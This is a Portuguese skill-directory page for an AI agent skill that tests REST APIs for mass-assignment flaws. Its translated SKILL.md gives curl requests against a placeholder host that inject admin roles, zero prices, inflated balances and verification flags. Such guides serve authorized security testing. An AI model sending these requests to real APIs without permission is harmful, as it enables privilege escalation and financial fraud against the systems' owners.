Pular para o conteúdo
Skillpedia
Diversos35 mil · #5751

exploiting-mass-assignment-in-rest-apis

Faz seu agente descobrir e explorar atribuição em massa em APIs REST para escalada de privilégios.

O que ela faz

Essa ferramenta ajuda a encontrar e explorar uma falha de segurança em APIs (os 'sites' que os aplicativos usam para conversar entre si). Ela tenta inserir informações inesperadas, como 'ser administrador', em pedidos que a API recebe, para ver se consegue obter mais permissões do que deveria.

Quando usar

  • ✓Ao testar a segurança de APIs que recebem dados em formato JSON.
  • ✓Ao verificar se um usuário comum pode se tornar um administrador.
  • ✓Ao procurar por falhas em sistemas que criam ou atualizam informações.

Exemplo do que pedir para a IA

“Tente injetar 'role: admin' ou 'isAdmin: true' nos dados enviados para a API quando estiver atualizando seu perfil.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-mass-assignment-in-rest-apis/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-mass-assignment-in-rest-apis/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta envia pedidos para a API com campos extras que não deveriam estar lá. Se a API aceitar esses campos e mudar o comportamento (como dar privilégios de administrador), a falha é encontrada.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-mass-assignment-in-rest-apis

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-mass-assignment-in-rest-apis/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Explorando Atribuição em Massa em APIs REST

Quando Usar

  • Ao testar APIs REST que aceitam entrada JSON para criar ou atualizar recursos
  • Durante avaliações de segurança de API de aplicações que usam frameworks ORM (Rails, Django, Laravel, Spring)
  • Ao testar endpoints de registro de usuário, atualização de perfil ou gerenciamento de conta
  • Durante a caça a bugs em aplicações com operações de API CRUD
  • Ao avaliar a implementação de controle de acesso baseado em função em aplicações orientadas por API

Pré-requisitos

  • Burp Suite ou Postman para criação e interceptação de requisições de API
  • Compreensão do comportamento de auto-vinculação (auto-binding) do ORM em frameworks comuns
  • Documentação da API ou descoberta de endpoints através de reconhecimento
  • Múltiplas contas de usuário com diferentes níveis de privilégio para testes
  • Conhecimento de campos sensíveis comuns (role, isAdmin, verified, balance, price)
  • Arjun ou param-miner para descoberta de parâmetros ocultos

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Passo 1 — Descobrir Estrutura e Campos da API

# Examine API responses to identify all object fields
curl -H "Authorization: Bearer USER_TOKEN" http://target.com/api/users/me | jq .
# Response reveals fields: id, username, email, role, isAdmin, verified, balance

# Check API documentation for exposed schemas
curl http://target.com/api/docs
curl http://target.com/swagger.json
curl http://target.com/openapi.yaml

# Use Arjun for hidden parameter discovery
arjun -u http://target.com/api/users/me -m JSON -H "Authorization: Bearer USER_TOKEN"

# Examine create/update request body vs response body
# The response may contain more fields than the request sends
# Those extra fields are mass assignment candidates

Passo 2 — Testar Escalada de Privilégio via Campos de Função (Role)

# Inject role/admin fields in profile update
curl -X PUT http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"username":"testuser","email":"test@test.com","role":"admin"}'

# Try common admin field names
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"isAdmin":true}'

curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"is_admin":true,"admin":true,"role":"superadmin","user_type":"admin","privilege_level":99}'

# Test during registration
curl -X POST http://target.com/api/register \
  -H "Content-Type: application/json" \
  -d '{"username":"newadmin","password":"pass123","email":"admin@evil.com","role":"admin","isAdmin":true}'

Passo 3 — Testar Campos Financeiros e de Lógica de Negócios

# Modify price or balance fields
curl -X POST http://target.com/api/orders \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id":1,"quantity":1,"price":0.01}'

# Modify account balance
curl -X PATCH http://target.com/api/wallet \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"balance":999999}'

# Modify discount or coupon fields
curl -X POST http://target.com/api/checkout \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id":123,"discount_percent":100,"coupon_code":"NONE"}'

# Modify subscription tier
curl -X PATCH http://target.com/api/subscription \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"plan":"enterprise","price":0}'

Passo 4 — Testar Campos de Verificação e Status

# Bypass email verification
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"email_verified":true,"verified":true,"active":true}'

# Modify account status
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"status":"active","banned":false,"suspended":false}'

# Modify ownership/organization
curl -X PATCH http://target.com/api/users/me \
  -H "Authorization: Bearer USER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"organization_id":"target-org-uuid","team_id":"admin-team"}'

Passo 5 — Testar Manipulação de Relacionamento e Chave Estrangeira


…
Perguntas frequentes

O que é 'Mass Assignment'?

É quando uma API aceita automaticamente muitos dados de um pedido e os aplica diretamente em um objeto, sem verificar cada um. Isso pode permitir que um usuário mal-intencionado defina campos que não deveria, como o nível de permissão.

Quais ferramentas são usadas?

Ferramentas como Burp Suite, Postman, Arjun e param-miner são usadas para interceptar, analisar e enviar pedidos modificados para a API.

É preciso saber programar para usar isso?

É útil ter um conhecimento básico de como as APIs funcionam e o que são frameworks ORM, mas a ferramenta automatiza muitas das etapas complexas.

Detalhes

Descrição original do autor

Discovers and exploits mass assignment (autobinding) in REST APIs by injecting unexpected or hidden parameters (e.g. role, isAdmin, plan) into create/update requests, using Burp Suite Intruder, Arjun, and param-miner to find bindable fields on ORM-backed endpoints (Rails, Django, Laravel, Spring). Use when testing REST APIs for privilege escalation or authorization bypass via unintended parameter

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#5751
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas